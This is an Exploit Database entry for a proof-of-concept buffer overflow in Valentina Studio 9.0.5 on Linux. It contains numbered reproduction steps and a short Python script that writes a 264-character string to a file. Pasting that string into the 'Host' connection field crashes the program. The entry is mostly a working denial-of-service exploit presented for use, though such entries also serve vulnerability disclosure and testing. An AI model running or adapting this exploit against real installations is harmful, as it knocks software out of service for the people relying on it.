



EXPLOIT DATABASE



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SUBMISSIONS



ONLINE TRAINING

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Valentina Studio 9.0.5 Linux - 'Host' Buffer Overflow (PoC)

EDB-ID:

46439

CVE:

N/A

EDB Verified: ✘

Author:

[ALEJANDRA SÁNCHEZ](#)

Type:

[DOS](#)

Exploit:   / 

Platform:

[LINUX](#)

Date:

2019-02-21

Vulnerable App: 



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```
# -*- coding: utf-8 -*-
# Exploit Title: Valentina Studio 9.0.5 Linux - 'Host' Buffer Overflow
(PoC)
# Date: 20/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://valentina-db.com/en/
# Software Link: https://www.valentina-db.com/en/all-
downloads/vstudio/current/vstudio_x64_lin-deb?format=raw
# Version: 9.0.5
# Tested on: Linux kali amd64
```

```
# Proof of Concept:
# 1.- Run the python script "vstudio.py", it will create a new file
"vstudio.txt"
# 2.- Copy the text from the generated vstudio.txt file to clipboard
# 3.- Open VStudio
# 4.- Go to File > Connect to...
# 5.- Click on Valentina Server or SQLite Server
# 6.- Paste clipboard in 'Host' field
# 7.- Click on button -> Connect
# 8.- Crashed
```

```
buffer = "\x41" * 264
f = open("vstudio.txt", "w")
f.write(buffer)
f.close()
```

Tags: [Denial of Service \(DoS\)](#)
[Buffer Overflow](#)

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